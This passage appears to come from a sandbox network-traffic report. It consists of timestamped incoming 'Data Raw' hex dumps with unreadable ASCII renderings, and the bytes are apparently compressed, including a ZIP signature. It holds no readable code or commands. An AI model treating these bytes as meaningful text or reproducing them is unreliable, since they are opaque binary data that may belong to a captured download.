Data Ascii: ij$N1=D[*X_}kC+~S]/>]S]%kR]w<L2u5d<Jd5Edz_GRhEl#Tc?KM;0CAe>]OG==_,tx~9fzr\bmMxA>k$;/+V3o|
[4FJ6]'Ve-X?w++m

2022-01-13 21:05:25 UTC 929 IN Data Raw: 42 ff 96 29 d3 08 d8 d1 f6 28 82 6c ed ed 87 96 2c 3a 16 98 12 1e 88 61 da 05 9f 00 fb 90 47 e3 01 32 48 1a 56 
77 69 85 3e 02 f2 af 7d 4a bf 1f a5 42 99 6d eb 3a 4c 01 79 83 dd 1e 98 9f 44 56 3b 34 16 a5 af d5 e9 be cd 82 e7 89 88 
b2 11 19 04 ff f1 cc 69 91 d9 b1 a1 3d f0 41 a8 1c 80 10 b8 8a a4 9a f7 dc a3 83 0c 28 a2 b2 d9 a5 75 c7 5e b4 a4 d9 a4 
c5 31 25 b9 68 75 bb 98 49 6d 70 3f f4 12 93 3e f5 76 91 d6 ee 43 d6 a2 11 2c 67 d7 9c ab dc 11 67 69 a9 69 67 33 e8 1c 
98 15 c0 07 cc 0a e4 32 90 c6 90 48 18 f6 92 b1 b0 fd 0b 56 f4 b6 64 dc 3f 68 ae 45 1b 35 17 03 ad 81 29 1a 4e f1 75 47 
07 ec f7 a6 88 f6 76 74 d3 4a 79 00 70 78 90 ba 24 36 69 06 8e b4 cd 9b e2 b1 63 57 54 74 78 2e 7a 25 ed 12 91 e7 9c 51 
28 0a 88 fd 3a 06 22 82 76 80 c6 67 4b 09 77 93 64 49 
Data Ascii: B)(l,:aG2HVwi>}JBm:LyDV;4i=A(u^1%huImp?>vC,ggiig32HVd?hE5)NuGvtJypx$6icWTtx.z%Q(:"vgKwdI

2022-01-13 21:05:25 UTC 930 IN Data Raw: 54 27 f9 fd 8a 46 93 d9 cd 6a 18 cd 07 b3 78 aa dc 96 e2 68 a8 5f db 87 28 1c 46 b3 53 1d 2a fa d5 af 63 3a 9b 
dc 4c 17 92 7b e4 49 a7 5f c5 2c fa 69 19 cf 22 c9 35 aa 19 ab 5f cb e2 f3 34 7a 25 dc f2 d1 84 a4 ea 26 9e cd 26 b3 78 7c 
d5 e5 ee 6a be 7c 4f 3e c2 bf a4 34 56 34 48 49 e1 38 5a 7c 9a cc 3e 22 8f 46 a3 68 46 e9 f8 29 1e c5 92 bf 15 cc a6 57 
55 df 06 55 2f 98 f4 2a 99 87 37 91 d2 14 d5 71 50 af 96 4f 14 b3 d5 74 20 b9 46 ee 6a b2 8e c9 a9 94 ea aa 4c 12 9b ce 
e2 db 70 f0 79 35 0c 17 e1 6a 39 0f af 22 45 39 49 b7 59 92 9a 39 51 0c 35 b8 a8 1a 88 5a fe 7a 72 25 c1 a3 62 be 50 08 
2f 96 d3 d5 6d 3c 8f df c7 3c c9 7a 43 aa 78 af 44 d6 36 19 2d 3e 85 b3 fe cc 57 f5 35 49 cb 72 fc 71 3c f9 24 c9 aa 26 38 
49 f6 36 1e 46 fd 68 af 60 11 3d 1a e6 37 93 c9 
Data Ascii: T'Fjxh_(FS*c:L{I_,i"5_4z%&&x|j|O>4V4HI8Z|>"FhF)WUU/*7qPOt FjLpy5j9"E9IY9Q5Zzr%bP/m<<zCxD6-
>W5Irq<$&8I6Fh`=7

2022-01-13 21:05:25 UTC 932 IN Data Raw: fd ae 5d 4b 35 3c c7 52 11 61 5d d5 55 c3 25 6b bb 66 99 b2 ae e6 c2 51 2a e9 8a 29 17 8b 6d ba e2 f7 08 7a 
ac bc 19 47 fe 28 9a de 84 fd eb 37 5b b6 44 70 8a 8c 67 ca 65 9a ce 13 ae 5c 61 dc 9b a0 df a9 7e ff d4 8c 1e 0f fd fe 9b 
9f cb 1f ca 8f 27 58 ca 26 61 f7 7c 91 26 33 be cd ca 35 34 66 e5 3f f7 e9 3a e7 eb 5c 2c e8 8d 56 2e bd 31 26 3f eb e5 cf 
cf cb 22 03 8c 83 01 52 0f e6 c9 d3 53 4b 74 a6 9b c5 71 80 7e 39 67 ff f8 56 70 55 55 7f 39 cf 36 6c dd fc c3 94 c5 96 3f 
7c fc 76 b2 c8 f3 4d f6 e1 fc 3c 2b 36 9b 74 9b 9f cd cb d8 9c dd a7 ab f3 fb 7d 24 cf d9 3a fb 9d 6f cf 75 af ac cf 6f 27 4a 
ce b6 73 9e c3 7e 7a 87 bc 58 7e 3b 69 1c 8b 49 94 fb 84 65 19 7e dc f2 7f 15 f1 96 cf de d7 2b 82 e1 7a fe 3e 5b a4 bf e3 
c7 9f f2 74 73 96 15 0f 0f f1 7d 8c cd 
Data Ascii: ]K5<Ra]U%kfQ*)mzG(7[Dpge\a~'X&a|&354f?:\,V.1&?"RSKtq~9gVpUU96l?|vM<+6t}$:ouo'Js~zX~;iIe~+z>[ts}

2022-01-13 21:05:25 UTC 933 IN Data Raw: 53 8f 35 c4 1d 56 d0 ac 44 b2 14 cb 43 38 b8 00 59 2e 0a a2 1e b2 2e 04 8a 00 cd ae 0b 24 38 f4 41 ce 1b ac 
2e 93 88 8b a4 c7 54 69 5e c1 57 a2 b0 bb f8 b4 2e 65 a1 e6 b0 1c fe a2 dd c0 ef 4b 60 0b a6 7e 6e 31 ce fe 9b 56 e2 95 
5e a1 d1 a1 92 98 bd de 0a fc 45 f5 8f 24 2e 00 e3 d0 a5 69 5e 75 01 96 6e d8 8d 10 b5 a0 7f 00 46 ba eb a0 85 04 98 58 
1a 49 c5 11 5b 14 a0 98 5d 3d de b1 2c d1 0a 5a 1e 84 0b c8 92 4a 91 71 51 6c f9 a6 c6 63 56 eb 10 e8 af ab 4e ed 01 22 
04 b3 a2 5b b5 c1 d9 20 77 92 23 fe 76 27 8a f4 f1 b0 1f 54 d2 35 2a 61 05 6c fc 12 77 e3 f7 4d 4b 3f af d5 8a 65 9a aa 8a 
95 41 23 61 17 0e b4 15 91 82 bd 38 ab 32 e6 e1 be fa bb 89 5f 60 7c 83 b9 35 6b 7f aa fd c2 b3 e7 42 b4 58 40 15 68 04 
e2 f6 10 ae f8 4b da 86 88 8c ab 7c cd 4a c6 86 95 00 
Data Ascii: S5VDC8Y..$8A.Ti^W.eK`~n1V^E$.i^unFXI[]=,ZJqQlcVN"[ w#v'T5*alwMK?eA#a82_`|5kBX@hK|J

2022-01-13 21:05:25 UTC 934 IN Data Raw: 83 0c ab 88 87 0b bf 7f 11 dc 4c 3f 4f a2 68 d0 a7 6b a0 cf 29 a8 87 41 3f c2 06 b0 8a 60 2c f6 74 ec 44 d6 e2 
10 27 9d b0 33 ed 0f a2 69 34 22 db 90 69 3a 62 df 0d 82 ce 67 ff e2 7a 1a f4 fc f0 66 da 0d 83 9b ce b1 23 d9 35 71 bb 
a3 ee 60 d4 9b 76 82 f1 c5 28 1c 4a b7 25 b9 ec 68 f7 76 15 f8 9d 60 74 ec 43 a6 90 da 7d 0c 47 83 de 30 22 e1 a1 dd 41 
bb 8b 51 f0 db 24 1c 05 24 34 b2 be a4 dd 4b f4 75 18 bc 72 dc b4 15 27 ae 7a e1 68 34 18 85 fd cb 26 77 a7 e3 c9 67 11 
23 7c 45 d2 58 c2 85 c4 61 3f 88 be 0c 46 d7 c8 a3 6e 37 18 89 74 fc 12 76 43 12 6f 89 6e 69 75 d5 b6 41 d9 cb 0b ad 4e 
c6 7e 2f 90 2e 45 76 0f d2 ea e5 8b 38 b3 e9 f0 82 84 86 b2 18 f5 31 38 b6 92 3d 82 21 66 c3 51 78 eb 5f 7c 9d 76 fc c8 9f 
4e c6 fe 65 20 29 27 f2 e4 84 b8 19 0b 49 21 07 17 
Data Ascii: L?Ohk)A?`,tD'3i4"i:bgzf#5q`v(J%hv`tC}G0"AQ$$4Kur'zh4&wg#|EXa?Fn7tvConiuAN~/.Ev818=!fQx_|vNe )'I!

2022-01-13 21:05:25 UTC 935 IN Data Raw: b0 28 5a 1d e8 75 17 c2 7a fc 24 85 ff dd 4f a2 85 e0 8a 15 56 4a 0e 53 31 a9 c9 49 04 e6 b8 46 53 29 24 96 
b0 12 81 45 88 34 c0 2f ab d5 e8 63 ff 5b f3 4d 62 3e f9 ff df 22 3e 85 bd 25 ca d6 ea 84 41 0a b4 ec 44 df 32 a3 b7 29 cf 
96 19 c7 81 03 9a 39 a6 6a 72 9c 59 61 9d b6 fb b2 d9 8f 2f 64 51 d8 c2 a8 5a 2b 94 53 d2 14 e4 78 87 b9 86 8d d4 32 50 
28 61 54 a1 ad 53 da 70 43 ba 08 85 b4 d6 9b 57 b4 bf 20 94 a0 45 81 b0 66 d2 19 cd 40 4f 05 13 4c 5a 62 63 a0 ef 7e 0c 
b2 d8 60 78 a9 51 60 2b 8a 55 2d d8 fe e0 fd dd ed 6f ab eb e5 fd 83 97 cc 0a dd 7f 43 98 f6 4d 50 8f 27 d3 59 7f 32 5b 9c 
57 a3 97 4f 52 85 42 0e 2f f8 1d d3 3b bb bd 7d f7 71 d5 7b 01 d3 3d 29 47 c3 64 a8 40 6a 1f 2f d2 db 72 3b e5 f4 b2 3f 7a 
f2 e7 86 44 f3 ef 11 30 ee f3 c7 e5 f5 ea fd ed 
Data Ascii: (Zuz$OVJS1IFS)$E4/c[Mb>">%AD2)9jrYa/dQZ+Sx2P(aTSpCW Ef@OLZbc~`xQ`+U-oCMP'Y2[WORB/;}q{=)G
d@j/r;?zD0

2022-01-13 21:05:25 UTC 937 IN Data Raw: f5 ad 56 9c b0 38 5a 1c 2a b1 b5 36 b9 97 e0 62 95 0c d5 13 7a 78 ae ca d3 3a 18 0c c9 0f 70 4c 44 9d 37 ef 
ab 76 38 10 24 59 89 78 44 78 ac d8 98 56 c8 36 62 30 81 38 72 80 e7 89 ab c4 1e 46 2b ae ac 84 4c 1e e0 3d 64 cf 00 
b8 e4 8e 7a de 9a ef 19 55 8c 44 f8 cd dc 47 3e a7 de 4e 0c 5d 24 f6 26 39 bb 0f 05 70 c5 e1 46 ab 65 0d 5e 99 d0 12 f2 
97 3c 80 c5 f1 24 32 0f 42 2e ad 2b f1 b3 08 48 4b ad 94 ca 58 c8 4c 61 c9 96 2c 08 b5 21 9f e6 5f 2b c3 14 b2 f8 a9 b0 e3 
cf b7 21 28 4f b0 a3 6e 1d 0c d4 a2 0d c7 82 db a7 64 1d 2e e3 ca 3d 76 0e c1 dd ef 92 5c 50 4a 0d 59 ae 75 90 89 35 fd 
0b 6d e9 04 3d 72 99 91 1b d8 2b 84 fc 6f 16 f8 eb 1a 1c 24 a2 4e 48 0d 39 b7 76 8c da 7b 9c fd ac bb 60 51 e5 25 9b 96 
7c eb ee 37 26 c3 fa 99 f8 47 cc f5 75 6b e7 07 f2 d0 81 
Data Ascii: V8Z*6bzx:pLD7v8$YxDxV6b08rF+L=dzUDG>N]$&9pFe^<$2B.+HKXLa,!_+!(Ond.=v\PJYu5m=r+o$NH9v{`Q%
|7&Guk

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 938 IN Data Raw: cf 67 6d 11 d6 66 bd e7 5b 7d c3 ba 63 d6 65 cd 59 b0 8f ca 41 df 07 d1 ff 3e 55 a1 94 b7 7b 16 85 da 50 0b ca 
2b 01 f8 1b 66 4c 7d 1a 0e fe 21 81 74 f4 a0 88 46 9e 81 4a 03 3c 61 53 17 aa 34 07 b3 50 5c 41 5e 41 9d 17 5c 57 63 54 
47 25 c8 61 b9 77 62 1f 09 2e 8d 69 84 63 c8 87 2e 9c a7 0b 3c 02 ef 1f 2f a1 88 fa 4a 41 dc d7 58 f4 39 67 12 8a 04 c1 46
ac 80 1c 4f f2 42 00 ee 57 bc 30 54 ca fb 43 6a 57 54 b9 6a 7b 3c d4 dd 44 b8 c9 a2 b8 af 72 79 fb 09 77 bd ed ae 47 e1 
e9 a6 61 76 d1 5c be c1 f9 3b 8e 84 b8 90 8b cf ab b5 9d d8 e8 5c 9d ee 64 48 40 b2 1b 7d f0 1c 3f 05 41 99 c2 08 25 0a 
80 a5 5a 49 80 c5 f4 f1 e8 ff aa f8 70 78 15 1d 87 d9 5d 95 aa 74 05 cd ce ea e8 52 77 9d 38 6c 51 08 69 b5 a0 cb 4b 18 
87 44 d5 bc ed fe c0 32 5b d7 17 24 90 ad 0b be cc 
Data Ascii: gmf[}ceYA>U{P+fL}!tFJ<aS4P\A^A\WcTG%awb.ic.</JAX9gFOBW0TCjWTj{<DrywGav\;\dH@}?A%ZIpx]tRw
8lQiKD2[$

2022-01-13 21:05:25 UTC 939 IN Data Raw: a8 b7 80 50 e4 7c fc da e2 57 89 73 c3 79 3a a7 93 b2 fc 47 1a cc a8 37 ef e5 89 50 ce 99 78 33 ca 16 02 13 
90 55 ba 91 f4 9c 72 9e c4 df ca c9 cb 14 10 10 85 ea 3c 89 4c 84 a0 1e 0c d9 42 84 88 10 d4 d1 bb 3c 05 0f 4d d2 b0 9b 
be 68 6d 0b 8d 19 e0 cd 54 65 a9 b3 87 79 22 f3 d1 ab fe 6c f0 82 52 32 ea c4 0e 45 e8 f5 78 0e 19 fa 68 fa 8a 30 1f e2 85 
29 88 c4 8b fe e8 0c a0 cb a2 1a f5 c1 6c ae 92 15 50 cd 4e 72 f8 15 58 5b 0a 9d 88 a7 da 88 d1 21 03 48 53 c5 f4 cc 20 
31 7a 56 cd ce cb 45 62 18 c4 db 9c d0 60 9f 16 42 ca 12 00 c3 a0 7f 59 7b b1 64 07 c4 e1 ef 35 15 80 a8 09 bb 88 a6 73 
7b ff 65 7f 3e 4d 06 50 6f 87 59 0f 38 ef a7 ee 8b 78 9b 4f 7b ff b4 2c 93 f0 4c 55 83 db fb e7 23 6a 0b 54 b7 ac 1d 71 35 
3e 9f 5f 24 23 a8 97 03 3e 3e fe 07 50 4b 07 08 44 
Data Ascii: P|Wsy:G7Px3Ur<LB<MhmTey"lR2Exh0)lPNrX[!HS 1zVEb`BY{d5s{e>MPoY8xO{,LU#jTq5>_$#>>PKD

2022-01-13 21:05:25 UTC 940 IN Data Raw: 0d 15 36 e4 e9 9e 20 dc b8 88 05 bb 34 73 5e b3 25 2b f1 d7 82 f1 c0 e8 b6 f0 68 78 48 1b c7 b5 e0 51 43 84 
4c 82 e0 d1 8a 29 5b 2c 96 55 38 9c d4 66 06 38 52 e7 5e 1c 0f 93 f1 24 d3 ee 23 9d eb 67 4d a4 be ae 61 a1 96 67 78 7c 
03 69 50 e2 7c 11 ef 8a a3 b8 18 96 a9 ab 26 dc 83 99 55 c3 c0 0c c9 00 81 98 0a 7e 43 75 b9 f8 4f b7 11 40 cf 33 c8 0a 
ee aa 27 4d 15 d4 e8 81 b0 1d 84 11 9c 6d d3 dd 19 8b e8 09 b2 5a 67 60 a9 2c cf a0 38 94 1f b6 0c cc 99 56 ac fb e3 db 
c6 21 0f 82 a6 a9 9e ce 6b 55 a7 bc 5b b3 dd 05 d4 4a 0e 47 c9 b9 22 b4 cd ae 28 ea 21 9e ea ef 9b a7 38 2f e2 e5 aa fe 
06 62 ac 2d ce 95 0e 22 7f c1 50 a8 75 f4 cf 95 75 9c f0 7d 84 1c 2a 94 bc cc 20 22 4a 4c 12 20 55 c0 3f 2f 9b 6d 02 57 49 
2a a2 89 ea 61 fc 2f 89 f2 98 b0 2f 29 5f 50 b2 58 b0 
Data Ascii: 6 4s^%+hxHQCL)[,U8f8R^$#gMagx|iP|&U~CuO@3'MmZg`,8V!kU[JG"(!8/b-"Puu}* "JL U?/mWI*a//)_PX

2022-01-13 21:05:25 UTC 942 IN Data Raw: 0d ea 14 a0 43 32 06 7b 8b 32 41 5a 8a 66 cf b6 35 34 78 ae 07 61 a1 43 e0 a9 92 9d 39 88 0a 56 e4 59 0d 6c 
e8 c9 0d a8 3b c3 03 6c 22 b5 5c 4f a5 e7 af 6c c3 e5 7e fe 56 f9 b8 e0 79 9a e4 42 bb 83 19 eb 6e 26 e3 2d d1 8b 04 42 
ee 0a f4 b8 54 7c de 25 64 cb 98 3f 54 3f 0f 35 5d 35 51 2f 11 66 af a8 f7 08 53 c4 3c 29 b8 50 5e 55 a7 58 90 58 c0 53 be 
59 c7 8d c3 91 f6 c2 5f b0 c2 aa 17 63 9b 0a f8 8e b5 bc 00 63 a2 8c c4 cf 69 8c c0 f0 16 47 a4 ba 07 b5 03 01 ca 85 32 70 
13 92 94 36 c2 55 01 3d 1e 01 83 a3 21 55 50 24 2a 70 1d db a0 62 23 69 cb bd d9 64 5c a3 40 60 9d a3 51 38 e9 34 2a 
79 d2 9c bd 60 ed 6b 36 2f ca b2 71 ee da 5c 3a 72 be d5 a0 a3 5e 39 83 10 4e 8f 55 48 85 ad e8 c0 b2 cd 13 2b f3 1a 64 
0f 5a e4 18 6e ff 3f aa 84 4e ff 1b 45 49 53 16 d8 0e 
Data Ascii: C2{2AZf54xaC9VYl;l"\Ol~VyBn&-BT|%d?T?5]5Q/fS<)P^UXXSY_cciG2p6U=!UP$*pb#id\@`Q84*y`k6/q\:
r^9NUH+dZn?NEIS

2022-01-13 21:05:25 UTC 943 IN Data Raw: 99 a1 b2 07 12 f2 91 1d 25 c9 1c 55 3e 5a 48 5e d2 cd ca 5c 0c 7c 2a bf e8 9b 3b 32 cb e8 8e 42 3c 7d 8d 41 
66 39 0a 38 c0 4a d6 2d bb 97 93 39 68 31 97 bd 5a d2 66 5e 95 1a c1 52 89 54 6f 75 20 e3 07 d9 41 7d ab 83 f1 14 95 4a 
d1 50 d6 38 c9 7c 54 7a e8 fd f4 66 16 8d 66 01 17 36 34 1d e9 0d 75 ab 23 9e df d1 7d 40 85 b0 e4 ad d4 56 27 d7 81 3f 
99 82 ab b8 e0 0b 24 a8 4b ef 3d 5b 5d 81 2a 68 52 cb 5e d9 69 f5 00 e1 fa 2b d0 07 75 da 46 5e b2 b7 a9 64 ee 6a fe 7a 
05 57 25 d7 74 ed 7e ae 47 41 f0 4f 4a 66 b2 57 91 db 9d c8 c0 59 f2 5e d9 2b 0e 46 d8 2b ba 10 7a 59 d8 ee e2 d7 60 74 
47 05 81 e4 3c aa dd 45 0b 43 c8 2e b9 5f 71 22 61 08 d9 b5 52 bb 87 5a 9a 50 da a5 af 30 bf e2 63 02 bd 49 53 56 76 3d 
d6 ee 64 3a f8 e0 4f 3a b7 b2 24 93 dd 4a c8 1c 7d 8c a6 
Data Ascii: %U>ZH^\|*;2B<}Af98J-9h1Zf^RTou A}JP8|Tzff64u#}@V'?$K=[]*hR^i+uF^djzW%t~GAOJfWY^+F+zY`tG<
EC._q"aRZP0cISVv=d:O:$J}

2022-01-13 21:05:25 UTC 944 IN Data Raw: fa 9e 3d 02 c8 be bd fa af 87 d5 c5 26 ca fe c8 7a 40 7d 2d f2 58 39 c0 34 81 85 aa 86 b8 ea 80 2c 5b 25 a0 3e 
e0 a9 b7 62 4a 47 e9 dd f4 2a 19 24 83 aa a1 0d 78 70 99 67 d8 86 4e fc 7b c5 b6 f1 8a ad 38 92 8f b3 f4 1f d1 5d 11 a7 
09 ff d7 8c 2d cf 7a 51 0e c4 dc 57 ba 5c b4 04 55 75 0c c3 81 2a dd 30 0c fd a5 ae 51 5a af d4 54 53 43 ff 70 3c b4 03 cd 
01 78 bf 5c 19 76 90 fc 0f 62 b5 81 24 70 6d 5b b7 5d 53 53 0d 15 32 74 35 6f 82 7b b6 42 db 13 c8 fa b9 4e bc 6e b7 5b 
ab 30 3c 64 85 e3 5a 50 a1 61 cf 26 c1 67 ff 00 c8 f8 26 2d 2a 31 03 0d 0e a9 84 ff 7b 78 ba 27 b3 53 44 a0 5a 6d 22 b7 
75 0d 7b b3 3c c3 e3 d1 20 fb c7 ae 58 99 57 3d c3 b0 4c 5d 35 a1 1a 2d 55 35 0c 58 47 94 8b 66 58 2f b6 41 09 00 a3 b0 
c7 86 c3 3c cf 20 be bd 12 2b 4d 15 cd cd 43 9f 75 
Data Ascii: =&z@}-X94,[%>bJG*$xpgN{8]-zQW\Uu*0QZTSCp<x\vb$pm[]SS2t5o{BNn[0<dZPa&g&-*1{x'SDZm"u{< XW=
L]5-U5XGfX/A< +MCu

2022-01-13 21:05:25 UTC 946 IN Data Raw: b4 4c 39 17 e5 ad 87 67 59 2d 84 7c d4 61 2e aa ca 35 91 1d 1a 71 c3 21 82 9c 52 7f b3 c7 09 ad b6 8a 6c c5 
78 00 96 eb c1 b5 48 39 7a 0e d6 50 46 4e c9 90 0f 75 87 c9 15 71 fe b5 c7 1f d0 be 6d bc e3 bf 8d 8f 79 cd b8 e2 35 2f a9
82 8d ba e4 67 5a 80 66 97 9f 11 d9 06 a9 94 9f 94 2b 71 cc 26 f8 64 dd 67 6c 93 1f ee e9 a6 85 f6 8e 84 b0 e8 30 cb 3b 
1e 07 d5 07 b0 d8 3a 53 9f 43 f3 f7 9e fe a9 c9 df 6f f8 b7 2d d7 f2 00 65 b6 06 fc 40 01 02 46 da 0b 5e 34 df 4a cc d6 30 
49 b9 1e b8 80 0e 06 a6 4a 82 d3 1c a7 ae c1 e7 ca 4d 5c 71 8b 34 cd ea 33 04 cc b6 06 38 98 e1 01 0f 91 5d ae a7 92 40 
7d 60 4b 5e ab 1d 85 b7 d4 4e 94 b0 65 4d 4e 57 51 c1 b6 0f 6c 95 56 29 b7 65 1d 14 f2 df 9e 28 ed 8e 7f b7 ab 19 4d 53 
e7 b9 18 cc 97 87 da e7 48 92 d6 b3 3a 47 a5 28 c9 
Data Ascii: L9gY-|a.5q!RlxH9zPFNuqmy5/gZf+q&dgl0;:SCo-e@F^4J0IJM\q438]@}`K^NeMNWQlV)e(MSH:G(

2022-01-13 21:05:25 UTC 947 IN Data Raw: 43 8a 58 b2 eb 91 e7 72 b3 70 10 c0 60 52 78 92 53 a7 46 70 20 ba d9 30 38 9f d5 56 13 ff 48 5e 40 3a 12 3e 
20 64 d5 97 fd f3 f3 60 3c f3 3f 5c 93 da 91 9d d5 b5 eb b9 18 8d 88 25 32 7a d9 ae 61 1c 4c fa d8 15 d9 8e e4 a5 a6 57 94 
8c 46 a4 83 49 38 77 bb 82 f9 30 04 55 b8 be 0e 2f 42 89 4f 64 17 36 32 5d bd 70 7a ee 4f 7a 3c 52 fd 70 32 f0 65 a5 28 
bb bc 93 e9 ea 87 c3 40 c0 cb 02 95 3d 94 34 1f d9 d9 8f 4c 91 d0 d1 d2 e4 25 33 aa 4c c5 d0 a7 f4 8b be bc 22 93 1c 5d 
51 88 a7 d7 fd 32 c9 49 c0 01 56 
Data Ascii: CXrp`RxSFp 08VH^@:> d`<?\%2zaLWFI8w0U/BOd62]pzOz<Rp2e(@=4L%3L"]Q2IV

2022-01-13 21:05:25 UTC 947 IN Data Raw: b2 6f d9 1d 98 4c 41 8b b8 ec 95 8b 36 71 51 6a 04 4b 25 d4 bc 55 81 ac 3f c8 ce d8 5b 15 4c e7 a8 54 8a 86 
b2 59 49 a6 43 f0 a1 0f f3 8b c5 68 b2 08 38 b1 a1 e9 48 af 7f 5b 15 f1 fc 1e dd 04 94 08 4b 5e ba 6c 55 d2 0f fc d9 1c bd 
8a 13 be 40 82 ba f4 22 b2 55 15 5a 05 4d 6a d9 9b 2d ad 1a 40 5c 7f 01 fa a0 4e db 9a 97 ec 35 22 99 ba aa 7f bd 82 ab 
92 4b b2 76 3d fd 49 10 fc 46 9b 99 ec 05 dc 76 25 32 70 96 bc 49 f5 8a 82 09 62 45 37 42 2f ed da 55 fc 12 4c ae 28 21 
90 1c 39 b5 ab 68 e9 10 b2 5b e7 57 94 48 3a 84 ec 6a a8 5d 43 45 4d 68 db a5 af ea be a2 63 06 be 49 53 56 76 c3 d5 
ae 64 3e bc f5 67 e7 97 b2 24 93 dd 28 c8 14 7d 1c cd 31 a1 0f a7 b7 92 f2 91 bc 4f 76 a4 e2 d2 1f 5e 80 ba 2c c2 a1 8f b2 
b9 21 16 c8 8e 72 a5 e2 37 a8 36 4a 9d 24 ef 64 48 a4 
Data Ascii: oLA6qQjK%U?[LTYICh8H[K^lU@"UZMj-@\N5"Kv=IFv%2pIbE7B/UL(!9h[WH:j]CEMhcISVvd>g$(}1Ov^,!r76
J$dH

2022-01-13 21:05:25 UTC 948 IN Data Raw: f1 91 87 c4 b6 01 97 ba 81 34 9b 40 35 57 97 68 e1 2d 1d ae 7d 6a 4c dd b0 b4 e1 dd 90 9b a1 3c 74 03 5c 12 
20 8e 81 e5 5a a6 14 f4 9f 9b 24 3b e3 02 d0 da df 05 bb 7c 57 27 c0 b8 ba 26 5a d1 68 45 b9 4d f3 a4 26 4d f9 3d f7 ee 
83 62 74 dd b3 2c 0f ce 4d cb b2 cc 73 ef d3 26 15 43 0d dd 36 40 48 5e 00 5a 31 3c a0 fe f9 d0 31 a6 6c 4a 0e cb 16 aa 
c5 77 5d d3 f5 6d 43 b7 74 18 49 c3 a3 fc 58 a4 58 f0 f9 39 04 26 b9 c2 87 15 a0 7e 3c df 81 0f 03 81 b0 7b a0 5d 70 d4 
01 24 2e 66 b7 40 9b 26 75 e4 05 58 41 a0 58 2c 83 00 3e d8 c6 21 30 0d ec cf 09 ac 80 e6 49 0a c2 2c 69 5a cf 8e 6d ea 
36 fc 82 a5 75 cb c2 ea 24 cf 13 f0 a7 18 eb 42 7e 00 6e b1 16 17 11 0b 02 4b 8a ee 7b 36 d2 d6 41 8b 01 08 db 43 d8 c0 
d9 ae 9c 87 70 8b e0 54 44 23 af f7 09 b8 eb bb 5d b2 69 
Data Ascii: 4@5Wh-}jL<t\ Z$;|W'&ZhEM&M=bt,Ms&C6@H^Z1<1lJw]mCtIXX9&~<{]p$.f@&uXAX,>!0I,iZm6u$B~nK{6AC
pTD#]i

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 950 IN Data Raw: c3 66 e0 c8 37 77 d0 03 c9 b6 95 21 14 f7 12 f6 87 87 f8 17 f8 89 26 82 a9 1e ee 30 a0 22 dd 31 90 46 10 0d 
18 d6 96 ca f6 36 69 8e 49 5a b5 e3 51 dd 26 96 8e c3 e9 db a8 2a 43 8a cd 6f 60 e2 fc 32 61 39 2e 09 5f 5a d3 e1 30 d6 
73 f0 04 bb 3a 8e 03 9a 24 48 fd 00 69 40 05 4b 93 8d 2f b9 d0 e1 7e e1 45 30 5e c5 74 99 70 79 9f 12 7a 5e 58 b6 7e 83 
f4 a2 df 77 75 90 0b 24 a0 d7 87 20 08 9f 5e bb b9 96 74 3c ff c4 eb 67 fa 19 2c 98 d4 45 2a 1a 21 d7 a6 97 ab a6 ed 40 
b4 a0 a6 1c f9 3a e0 c4 cb 55 42 55 b3 c4 10 2d 4a d3 ea 27 f9 b6 2c f8 22 7f ff 7b 15 79 2b bf df b5 8a eb f8 4e 00 78 75 
0d a0 17 0e 3a 40 ec 7c e6 9f 28 74 24 29 ab 2a 26 60 84 8a e6 f6 ae 81 1e d4 0f 20 64 4c 48 4f 5d 91 c0 8e 9c 12 11 2f 
c9 7d 52 6e c5 4d 8d 1b 00 9d d1 d4 07 00 6a 54 a5 1f 
Data Ascii: f7w!&0"1F6iIZQ&*Co`2a9._Z0s:$Hi@K/~E0^tpyz^X~wu$ ^t<g,E*!@:UBU-J',"{y+Nxu:@|(t$)*&` dLHO]/}RnMjT

2022-01-13 21:05:25 UTC 951 IN Data Raw: ed c7 d3 1b 09 1e 15 ad 8b c2 78 b9 9a ad ef e2 45 fc 36 66 45 d6 9b 52 c5 fb 40 b2 b7 e9 68 f9 21 9c f7 57 be 
8a df 24 2f ab c9 fb c9 f4 83 64 ab 6a 1b 25 db bb 78 18 f5 a3 bd 42 6b f4 78 58 dc 4e a7 cb 77 93 68 21 45 55 f5 1a 99 e4 
e4 63 24 93 95 e2 9d 00 66 b7 b8 59 8f 00 c8 a8 de e5 14 5c b3 90 e0 4b f5 8c a9 b5 44 a4 80 36 c3 68 12 cb 88 a5 7a 5e 
f6 dc 6e 19 df 46 58 b0 74 f0 14 d7 7b ad e1 2d 63 b3 49 34 58 8a 55 4b f1 51 bc 20 d7 31 3e 21 24 e7 e5 70 30 88 66 cb 
f0 ed 58 3a 3b aa 0b d2 7e 3f 37 d3 a9 b4 12 95 0e ed f7 30 8b e6 23 ec 4a da 8e e2 2d bb 17 9c 4c a7 12 83 29 84 7a bf 
83 d5 24 86 54 18 8f e3 9b 58 11 13 d5 73 38 95 af 61 bc 18 84 f3 21 cd d4 28 9e df 86 aa a3 a8 7a ae ab f2 35 8a 27 11 
83 97 35 4e f6 44 41 3e aa 5b 31 95 23 e6 a3 87 e4 
Data Ascii: xE6fER@h!W$/dj%xBkxXNwh!EUc$fY\KD6hz^nFXt{-cI4XUKQ 1>!$p0fX:;~?70#J-L)z$TXs8a!(z5'5NDA>[1#

2022-01-13 21:05:25 UTC 952 IN Data Raw: 1f df 2d 6f ef 6a 6e 34 cb ae ff b3 b8 f9 74 bf fc 74 5f b1 e6 49 56 33 b1 19 4c 7e 96 f5 cf 6b ce 90 07 14 7a 80 
a5 a0 8f be 7d 4b c8 69 f6 f9 c3 a6 a8 fe 72 52 fe f7 db 2f 4b 21 c4 5f 4e ee 3e 97 9f 9a ff 94 9d 0f b7 cb d5 af 6f 8f 3e dc df
7f be 7b 7e 72 72 f7 e5 f3 e7 9b db fb e3 f7 b5 a0 8e 17 37 bf 9f 2c 1e d8 7f 52 7e ba fb e7 f2 f6 44 fa 3a ee bc 3d ea dc 97
b7 ef 97 f7 30 7e 36 ff 58 7e fa 9f b7 47 0d e1 6a 92 ce e2 63 79 77 07 3f de 2e ff f7 cb 6f b7 cb 77 cf e2 8a 60 e0 a7 f7 cf 
ee 3e dc fc 13 7e fc d3 fd cd e7 e3 bb 2f ab d5 6f 8b df 60 73 67 cb e5 bb 79 b9 a8 48 d5 2c 00 ef 63 ac 91 1a e6 b4 4a 0a 
